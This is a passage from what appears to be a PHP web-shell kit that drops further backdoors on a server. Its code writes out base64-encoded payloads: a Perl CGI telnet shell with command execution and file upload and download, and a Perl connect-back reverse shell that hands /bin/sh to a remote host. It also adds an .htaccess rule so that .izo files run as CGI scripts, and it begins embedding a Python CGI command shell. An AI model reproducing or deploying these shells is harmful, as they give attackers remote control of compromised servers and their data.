JFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7
DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsN
CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQg
IiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnRE
aXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJ
ew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5k
VGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBv
dXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAi
IHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFu
ZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRf
XG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29t
bWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdp
bk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlBy
aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQg
Y29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUg
c3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMg
ZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1l
bnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2Fk
ZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsN
Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBl
eGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8g
dGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJI
KiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2Fk
JmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlW
PVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmlu
dFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxl
ICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0
b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5E
DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0N
CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7
DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50Rmls
ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJv
bSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2Fu
IGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmll
ZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlm
KG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7
DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNU
RE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmls
ZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQt
VHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6
ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7
IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShT
RU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQ
YWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAk
ISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9
DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxl
ZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0K
IyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUg
Y2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0
aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlz
IHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
dWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBm
aWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e
XFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBw
YXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0K
CWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFy
Z2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAk
UGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug
aGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZp
bGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsN
CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIg
d2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwg
aXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxl
LCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwg
cHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7
DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQ
cmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0K
DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFu
c2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVh
bGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXRO
YW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJh
bnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQx
Ow0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0
aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJ
aWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmlu
dCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgll
bHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRU
YXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJ
cHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsN
CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXBy
aW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlw
cmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1h
bmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRz
IHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQs
IGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmls
ZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlk
ZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0K
Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmls
ZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5z
ZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50Rmls
ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkj
IGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJ
aWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5U
ICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJ
JFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2
ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikg
PX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsN
Cgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0K
CXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhh
dmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1Bh
Z2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWlu
IFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
CiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NS
SVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBh
c3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmls
ZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9
Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNp
ZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29t
bWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1
cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZElu
ID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJs
b2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJm
b3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMg
dG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24g
ZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZp
bGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3du
bG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9n
b3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==';

$file = fopen("izo.cin" ,"w+");
$write = fwrite ($file ,base64_decode($cgishellizocin));
fclose($file);
    chmod("izo.cin",0755);
$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==';

$file = fopen("dc.pl" ,"w+");
$write = fwrite ($file ,base64_decode($netcatshell));
fclose($file);
    chmod("dc.pl",0755);
   echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe> ";
break;
case "PHP_7":

    mkdir('python', 0755);
    chdir('python');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "AddHandler cgi-script .izo";
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
